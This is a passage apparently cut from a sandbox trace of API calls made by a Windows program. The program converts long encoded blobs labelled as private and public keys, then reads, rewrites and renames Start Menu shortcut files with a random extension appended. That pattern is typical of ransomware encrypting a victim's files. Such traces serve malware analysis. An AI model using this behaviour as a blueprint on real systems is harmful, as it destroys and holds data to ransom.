KAdirCrMKABcOfw6t3wpnDq0XDpE7Co1EQXzFiYsOPCMKcwpg7TsKJw41rwpQGw5DDvA==", cchWideChar=2469, lpMultiByteStr=0x1f158fc, cbMultiByte=2469, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="MZRKEYPRIVATEYsOgwqY9wos5YcKbKMKba8Odw57CkTTDmWdUw47DhWHDtQXDt8O6w67CoXF5woXDh8KOUEPDlTbCuWXDlcOkRTTDqcKcwqoyw4nChhjCpsK1OsODw4R6wofDkTbCuj9EwrDClEXCsSLDg8K4w6/CrMOwwpPCqcO4w7ZmwpPDrsOfwqIcw67CqV7CnCTDuMKYfG7Cmm/CnsO+w65AQMK1dsKrwo11wpJvwrjDtcKwNMK4wrtQWF3DgwzCkGfDuHHDhMO1wrEgw43ChsO5OkxFw4PCgBo5w5zCqG9FwrXChUIxw7LDqsOKbMKMwoHCuHfDnG4VQDPCh8KSP15Vw53DlwRDwo5dwoB6Y3NywqcOwrU3DMOFBTBAQMOkDjtPwpfChcOFwp7CtWPDoAXClMK+eMOuw7zCuGMsUcK4QcO8esKfUGTDt8Oiwr40wqs7w64GwrXClTPDgxh6wqddw7Mlw7fCpTkcwqIUw57Dg2Yaw58xZsOcw4o/BCbDjcOGw58pw6TCmhXDisK6VRXCqMKIwpbDnRPCmDZRwrdVDi00PA7CoMK1aTTDkcKxw67DocKDw4fDi15qdSYwwqEOwoEpwrzCi8OpZsOewrRlw4EMwoQ1w57DhsKJwr/CmF1xC2xvLcKAw4vDvXJxwqnDscKrM8KpwoXDq8OhS3p6V8OKw4TCpcKMwrjCtMKBXjTCoxTCsXVXwqTCvsOuFMKHPzNpw4TDq01Pwq4OQ8OHHMOgTMKIwp7CrhhxwpzDsMOeBhXCnMKPWHjDiDTDg0XDmWfCpnrCmMK6w7UiNMORXMOAaxprwo4DaCrCtwbDkMKSwoF8w5/DoXHCt8O4wpBrwoLDjcOCw4l6woN4w5drw6vCvnLCt3nDoEzDqThIK8OpwpPCqcKaEcOFXkTCvlHDnnrCkmLDh8OGw5TCnsKdw7fCiDg8bsKwwoLDqcOrwrzDksKTQsKwAcOAUMKwSGHCm8KNw6/Ct0PCtHnDgcKIEMOdwr/CmhxsZmonw67ChMKIesOBw40Ow4lraTzCpcKowqjCtn7Di8OBw4HDt8OuZjAVw55Yw4PCuwYRwoTDv0bDvMKXw7fDsmzCkcKmA8KmccKdMz3Ct0PDjsOkwqHCmMKow4vDnMK2PS1xeTTCgCDDkHDCgsKdw6NEwrlQw73CqsOmw5JDw496eCYcw6Qaw7wCwrHCuMOKwqYDwpfCo0fDgsK5w6rDqcK3dsKmwpvCqcKTw6fDqCnDvwQGIsKWw5HDnsOgw4nDpRZWa8OuesK7w48Uw6LDp8KeNFARw43Ds8KLw65YWMOyWcK3LXDDl8Okwp1/d8KREcKhwoVCemQvwq7Cm8KKwobCucOxIxZiwobDvSsCDsKpwp0aQMOzUEM3DsOZZkBjI0TDi8OJHcK7w4HDmVXCgUoVOHHCjWhFPcKAwp5GHkUGHcOkdcKkwoDCmxPCnsOeUTN5bMKFw6ZLNsKTw4HCpsOEYsOeEMO9woPDscO3P8KSeS9xf8Otw43CucK8M8KkS23CoUBASh7DtcOLJMK3w7zCnUM1wrHCkcKEwoTCjMOzenEydnHCjMOobcOww6vDjTZ5w548NsKwPcOoRcKTwoprw6TDpmzDi8KbKWbCpsOPw4fCgsO5MsKbw6vDksKiXsKmOMOmw4PDsD3Cr8KbBE7CsMKCOMOxw6PDjcKGwqvCoXrDjUvDsw4JIMKUFkrCvMKKw5XCu1vCtcOmeFvCiTbCpjdpw7w2wroYeil+OVDDt8Kpw7PClDwcw50UIsOew51RHBU3wozCjjMiwpPCosOBw6TCmsK/wr1cwol5w4MSwqgCwoUtwpnCrCLCosOFHnFMFClRNUJGZsOfUTrCh8OGOSDCl8K6wpTCt8OJSH/DnsKewrfDp1AQwqrChcK1OQPDogzDmcK2DnPCnjQkwow2awEzw5LCqU7CmMOSwrfCqmc5w7/CtUV/w6DChsOjRBLDswcwCcKfw50CwpzDlMKmBmHDgkDCv8KXacKFw7xyw4fDmiJxw53CpBbCt08DFDMDw4gXwoIFLMOPOcKRw77DpMK5w7Alw7/DgcO8BsOZRFI0w4bDmxLDpRXChcKUw5wyw4vCgnXCv8Odw6ZDwr8qS8ODw6bDksK8wqsFwpHDnUADw6YtBMKlXMK9SMKxMxDCujzCjCNXUMOwMxYcwoUVBcKBcsKXBzN+FUXDpMKiQMOjw6YeworCqMOJOsKiwpfDmD7CtcOIQMOPcSzDscOdwpPDpMO8w5XDsFl3w6DDpMK4A8OLwqDDrR02w7jCo8OKwqxhw7fDpmsvwr7DgcK8XsORM2XClMOKwqjDgU9vXW7CkiTDsWPCq8OUw6fDvgbDvEVhIcOyw51Wwp1ewow8LA9mw7DCtcKAdirCrMKABcOfw6t3wpnDq0XDpE7Co1EQXzFiYsOPCMKcwpg7TsKJw41rwpQGw5DDvA==", lpUsedDefaultChar=0x0) returned 2469 [0131.774] GetCurrentThreadId () returned 0xa30 [0131.774] GetCurrentThreadId () returned 0xa30 [0131.774] GetCurrentThreadId () returned 0xa30 [0131.774] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="MZRKEYPUBLICHnfDhcKDFsOjdsKKbynCtsOoaxrCkhY4w6AVwp7DvHnCtcKbwoTDh08Gw6/DpRnDlREFwoXDixLCoQvCjsOKw4LCuzkawrgRwozCo0RpcXlMeigRFWJrwqDDnRrDl2VDworChcO3ZsKkNsO5w4gROsOEfMOnw5xiwqXCuH48wootw43ClEDDoj3CuBw2MGhyw7zDgsOuccK4woXCpU3CosOCccKywqjDpMOnAcKnesKjWMKJbxbCrcKwK8OjaxLChiJFwobCpsOHVDDDvMKRKcKrwpMVwoh5w4dUwp4Cw4FEPVvDnsOCwobDlHbDnsKkw7c8w6HDisOHwpIMMwYQwr0Dw4PDg2/DizPCngI0AsKiw65tXsK3eMK8woDCrkzCqcKALRDDqTnCpsOXw5x8w4Y5w5QMwrs2w5d+wrljFMOSLALCuTNNKT3DpVR8w60da8OgwokRa0tlw57Ck1/DkWXCp8K+PcOHw5fDo8OPwobDvy8pO8KTw4c/wqzCviwTOcKrw4EVJTM0wqAWAxVYBlAGwpfDj8OqE29aCQzCqH9FZUBBw57DnMOxPk0EZ8Krw4duW3ccZsOKwpTCm2o0AjvDg8OxNkVxw48wwrDCncOww43CmQsMw55A", cchWideChar=644, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 644 [0131.774] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="MZRKEYPUBLICHnfDhcKDFsOjdsKKbynCtsOoaxrCkhY4w6AVwp7DvHnCtcKbwoTDh08Gw6/DpRnDlREFwoXDixLCoQvCjsOKw4LCuzkawrgRwozCo0RpcXlMeigRFWJrwqDDnRrDl2VDworChcO3ZsKkNsO5w4gROsOEfMOnw5xiwqXCuH48wootw43ClEDDoj3CuBw2MGhyw7zDgsOuccK4woXCpU3CosOCccKywqjDpMOnAcKnesKjWMKJbxbCrcKwK8OjaxLChiJFwobCpsOHVDDDvMKRKcKrwpMVwoh5w4dUwp4Cw4FEPVvDnsOCwobDlHbDnsKkw7c8w6HDisOHwpIMMwYQwr0Dw4PDg2/DizPCngI0AsKiw65tXsK3eMK8woDCrkzCqcKALRDDqTnCpsOXw5x8w4Y5w5QMwrs2w5d+wrljFMOSLALCuTNNKT3DpVR8w60da8OgwokRa0tlw57Ck1/DkWXCp8K+PcOHw5fDo8OPwobDvy8pO8KTw4c/wqzCviwTOcKrw4EVJTM0wqAWAxVYBlAGwpfDj8OqE29aCQzCqH9FZUBBw57DnMOxPk0EZ8Krw4duW3ccZsOKwpTCm2o0AjvDg8OxNkVxw48wwrDCncOww43CmQsMw55A", cchWideChar=644, lpMultiByteStr=0x1f2695c, cbMultiByte=644, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="MZRKEYPUBLICHnfDhcKDFsOjdsKKbynCtsOoaxrCkhY4w6AVwp7DvHnCtcKbwoTDh08Gw6/DpRnDlREFwoXDixLCoQvCjsOKw4LCuzkawrgRwozCo0RpcXlMeigRFWJrwqDDnRrDl2VDworChcO3ZsKkNsO5w4gROsOEfMOnw5xiwqXCuH48wootw43ClEDDoj3CuBw2MGhyw7zDgsOuccK4woXCpU3CosOCccKywqjDpMOnAcKnesKjWMKJbxbCrcKwK8OjaxLChiJFwobCpsOHVDDDvMKRKcKrwpMVwoh5w4dUwp4Cw4FEPVvDnsOCwobDlHbDnsKkw7c8w6HDisOHwpIMMwYQwr0Dw4PDg2/DizPCngI0AsKiw65tXsK3eMK8woDCrkzCqcKALRDDqTnCpsOXw5x8w4Y5w5QMwrs2w5d+wrljFMOSLALCuTNNKT3DpVR8w60da8OgwokRa0tlw57Ck1/DkWXCp8K+PcOHw5fDo8OPwobDvy8pO8KTw4c/wqzCviwTOcKrw4EVJTM0wqAWAxVYBlAGwpfDj8OqE29aCQzCqH9FZUBBw57DnMOxPk0EZ8Krw4duW3ccZsOKwpTCm2o0AjvDg8OxNkVxw48wwrDCncOww43CmQsMw55A", lpUsedDefaultChar=0x0) returned 644 [0131.775] GetCurrentThreadId () returned 0xa30 [0131.775] GetCurrentThreadId () returned 0xa30 [0131.775] GetCurrentThreadId () returned 0xa30 [0131.775] CreateFileW (lpFileName="C:\\ProgramData\\Microsoft\\Windows\\Start Menu\\Programs\\Accessories\\Sync Center.lnk" (normalized: "c:\\programdata\\microsoft\\windows\\start menu\\programs\\accessories\\sync center.lnk"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1e8 [0131.775] SetFilePointer (in: hFile=0x1e8, lDistanceToMove=0, lpDistanceToMoveHigh=0x18f3c8*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x18f3c8*=0) returned 0x0 [0131.775] SetFilePointer (in: hFile=0x1e8, lDistanceToMove=0, lpDistanceToMoveHigh=0x18f3c0*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x18f3c0*=0) returned 0x0 [0131.775] SetFilePointer (in: hFile=0x1e8, lDistanceToMove=0, lpDistanceToMoveHigh=0x18f3c0*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x18f3c0*=0) returned 0x4e6 [0131.775] SetFilePointer (in: hFile=0x1e8, lDistanceToMove=0, lpDistanceToMoveHigh=0x18f3c0*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x18f3c0*=0) returned 0x0 [0131.775] ReadFile (in: hFile=0x1e8, lpBuffer=0x1f2e760, nNumberOfBytesToRead=0x4e6, lpNumberOfBytesRead=0x18f3d4, lpOverlapped=0x0 | out: lpBuffer=0x1f2e760*, lpNumberOfBytesRead=0x18f3d4*=0x4e6, lpOverlapped=0x0) returned 1 [0131.779] CloseHandle (hObject=0x1e8) returned 1 [0131.779] CreateFileW (lpFileName="C:\\ProgramData\\Microsoft\\Windows\\Start Menu\\Programs\\Accessories\\Sync Center.lnk" (normalized: "c:\\programdata\\microsoft\\windows\\start menu\\programs\\accessories\\sync center.lnk"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1e8 [0131.781] WriteFile (in: hFile=0x1e8, lpBuffer=0x1f30790*, nNumberOfBytesToWrite=0x4e6, lpNumberOfBytesWritten=0x18f3e0, lpOverlapped=0x0 | out: lpBuffer=0x1f30790*, lpNumberOfBytesWritten=0x18f3e0*=0x4e6, lpOverlapped=0x0) returned 1 [0131.783] CloseHandle (hObject=0x1e8) returned 1 [0131.783] MoveFileW (lpExistingFileName="C:\\ProgramData\\Microsoft\\Windows\\Start Menu\\Programs\\Accessories\\Sync Center.lnk" (normalized: "c:\\programdata\\microsoft\\windows\\start menu\\programs\\accessories\\sync center.lnk"), lpNewFileName="C:\\ProgramData\\Microsoft\\Windows\\Start Menu\\Programs\\Accessories\\Sync Center.lnk.Zv7uN" (normalized: "c:\\programdata\\microsoft\\windows\\start menu\\programs\\accessories\\sync center.lnk.zv7un")) returned 1 [0131.785] GetCurrentThreadId () returned 0xa30 [0131.785] GetCurrentThreadId () returned 0xa30 [0131.785] GetCurrentThreadId () returned 0xa30 [0131.785] GetCurrentThreadId () returned 0xa30 [0131.785] GetCurrentThreadId () returned 0xa30 [0131.785] GetCurrentThreadId () returned 0xa30 [0131.785] FindNextFileW (in: hFindFile=0x6aa080, lpFindFileData=0x18f50c | out: lpFindFileData=0x18f50c*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0xfd9dbcac, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x8ace9ee9, ftLastAccessTime.dwHighDateTime=0x1ca043f, ftLastWriteTime.dwLowDateTime=0x8ace9ee9, ftLastWriteTime.dwHighDateTime=0x1ca043f, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x2e0000, dwReserved1=0x66000066, cFileName="System Tools", cAlternateFileName="SYSTEM~1")) returned 1 [0131.785] FindNextFileW (in: hFindFile=0x6aa080, lpFindFileData=0x18f50c | out: lpFindFileData=0x18f50c*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0x9182055d, ftCreationTime.dwHighDateTime=0x1cbf8eb, ftLastAccessTime.dwLowDateTime=0x8126b520, ftLastAccessTime.dwHighDateTime=0x1d2de2a, ftLastWriteTime.dwLowDateTime=0x81291680, ftLastWriteTime.dwHighDateTime=0x1d2de2a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x2e0000, dwReserved1=0x66000066, cFileName="Tablet PC", cAlternateFileName="TABLET~1")) returned 1 [0131.785] FindNextFileW (in: hFindFile=0x6aa080, lpFindFileData=0x18f50c | out: lpFindFileData=0x18f50c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8b13a6d0, ftCreationTime.dwHighDateTime=0x1ca043f, ftLastAccessTime.dwLowDateTime=0x8b13a6d0, ftLastAccessTime.dwHighDateTime=0x1ca043f, ftLastWriteTime.dwLowDateTime=0x8b13a6d0, ftLastWriteTime.dwHighDateTime=0x1ca043f, nFileSizeHigh=0x0, nFileSizeLow=0x62b, dwReserved0=0x2e0000, dwReserved1=0x66000066, cFileName="Welcome Center.lnk", cAlternateFileName="WELCOM~1.LNK")) returned 1 [0131.785] FileTimeToLocalFileTime (in: lpFileTime=0x18f520, lpLocalFileTime=0x18f480 | out: lpLocalFileTime=0x18f480) returned 1 [0131.785] FileTimeToDosDateTime (in: lpFileTime=0x18f480, lpFatDate=0x18f4ee, lpFatTime=0x18f4ec | out: lpFatDate=0x18f4ee, lpFatTime=0x18f4ec) returned 1 [0131.785] GetFileAttributesExW (in: lpFileName="C:\\ProgramData\\Microsoft\\Windows\\Start Menu\\Programs\\Accessories\\Welcome Center.lnk" (normalized: "c:\\programdata\\microsoft\\windows\\start menu\\programs\\accessories\\welcome center.lnk"), fInfoLevelId=0x0, lpFileInformation=0x18f414 | out: lpFileInformation=0x18f414*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8b13a6d0, ftCreationTime.dwHighDateTime=0x1ca043f, ftLastAccessTime.dwLowDateTime=0x8b13a6d0, ftLastAccessTime.dwHighDateTime=0x1ca043f, ftLastWriteTime.dwLowDateTime=0x8b13a6d0, ftLastWriteTime.dwHighDateTime=0x1ca043f, nFileSizeHigh=0x0, nFileSizeLow=0x62b)) returned 1 [0131.786] GetFileAttributesW (lpFileName="C:\\ProgramData\\Microsoft\\Windows\\Start Menu\\Programs\\Accessories\\Welcome Center.lnk" (normalized: "c:\\programdata\\microsoft\\windows\\start menu\\programs\\accessories\\welcome center.lnk")) returned 0x20 [0131.786] SetFileAttributesW (lpFileName="C:\\ProgramData\\Microsoft\\Windows\\Start Menu\\Programs\\Accessories\\Welcome Center.lnk", dwFileAttributes=0x80) returned 1 [0131.788] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="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", cchWideChar=2469, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 2469 [0131.788] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="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", cchWideChar=2469, lpMultiByteStr=0x1f158fc, cbMultiByte=2469, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="MZRKEYPRIVATEYsOgwqY9wos5YcKbKMKba8Odw57CkTTDmWdUw47DhWHDtQXDt8O6w67CoXF5woXDh8KOUEPDlTbCuWXDlcOkRTTDqcKcwqoyw4nChhjCpsK1OsODw4R6wofDkTbCuj9EwrDClEXCsSLDg8K4w6/CrMOwwpPCqcO4w7ZmwpPDrsOfwqIcw67CqV7CnCTDuMKYfG7Cmm/CnsO+w65AQMK1dsKrwo11wpJvwrjDtcKwNMK4wrtQWF3DgwzCkGfDuHHDhMO1wrEgw43ChsO5OkxFw4PCgBo5w5zCqG9FwrXChUIxw7LDqsOKbMKMwoHCuHfDnG4VQDPCh8KSP15Vw53DlwRDwo5dwoB6Y3NywqcOwrU3DMOFBTBAQMOkDjtPwpfChcOFwp7CtWPDoAXClMK+eMOuw7zCuGMsUcK4QcO8esKfUGTDt8Oiwr40wqs7w64GwrXClTPDgxh6wqddw7Mlw7fCpTkcwqIUw57Dg2Yaw58xZsOcw4o/BCbDjcOGw58pw6TCmhXDisK6VRXCqMKIwpbDnRPCmDZRwrdVDi00PA7CoMK1aTTDkcKxw67DocKDw4fDi15qdSYwwqEOwoEpwrzCi8OpZsOewrRlw4EMwoQ1w57DhsKJwr/CmF1xC2xvLcKAw4vDvXJxwqnDscKrM8KpwoXDq8OhS3p6V8OKw4TCpcKMwrjCtMKBXjTCoxTCsXVXwqTCvsOuFMKHPzNpw4TDq01Pwq4OQ8OHHMOgTMKIwp7CrhhxwpzDsMOeBhXCnMKPWHjDiDTDg0XDmWfCpnrCmMK6w7UiNMORXMOAaxprwo4DaCrCtwbDkMKSwoF8w5/DoXHCt8O4wpBrwoLDjcOCw4l6woN4w5drw6vCvnLCt3nDoEzDqThIK8OpwpPCqcKaEcOFXkTCvlHDnnrCkmLDh8OGw5TCnsKdw7fCiDg8bsKwwoLDqcOrwrzDksKTQsKwAcOAUMKwSGHCm8KNw6/Ct0PCtHnDgcKIEMOdwr/CmhxsZmonw67ChMKIesOBw40Ow4lraTzCpcKowqjCtn7Di8OBw4HDt8OuZjAVw55Yw4PCuwYRwoTDv0bDvMKXw7fDsmzCkcKmA8KmccKdMz3Ct0PDjsOkwqHCmMKow4vDnMK2PS1xeTTCgCDDkHDCgsKdw6NEwrlQw73CqsOmw5JDw496eCYcw6Qaw7wCwrHCuMOKwqYDwpfCo0fDgsK5w6rDqcK3dsKmwpvCqcKTw6fDqCnDvwQGIsKWw5HDnsOgw4nDpRZWa8OuesK7w48Uw6LDp8KeNFARw43Ds8KLw65YWMOyWcK3LXDDl8Okwp1/d8KREcKhwoVCemQvwq7Cm8KKwobCucOxIxZiwobDvSsCDsKpwp0aQMOzUEM3DsOZZkBjI0TDi8OJHcK7w4HDmVXCgUoVOHHCjWhFPcKAwp5GHkUGHcOkdcKkwoDCmxPCnsOeUTN5bMKFw6ZLNsKTw4HCpsOEYsOeEMO9woPDscO3P8KSeS9xf8Otw43CucK8M8KkS23CoUBASh7DtcOLJMK3w7zCnUM1wrHCkcKEwoTCjMOzenEydnHCjMOobcOww6vDjTZ5w548NsKwPcOoRcKTwoprw6TDpmzDi8KbKWbCpsOPw4fCgsO5MsKbw6vDksKiXsKmOMOmw4PDsD3Cr8KbBE7CsMKCOMOxw6PDjcKGwqvCoXrDjUvDsw4JIMKUFkrCvMKKw5XCu1vCtcOmeFvCiTbCpjdpw7w2wroYeil+OVDDt8Kpw7PClDwcw50UIsOew51RHBU3wozCjjMiwpPCosOBw6TCmsK/wr1cwol5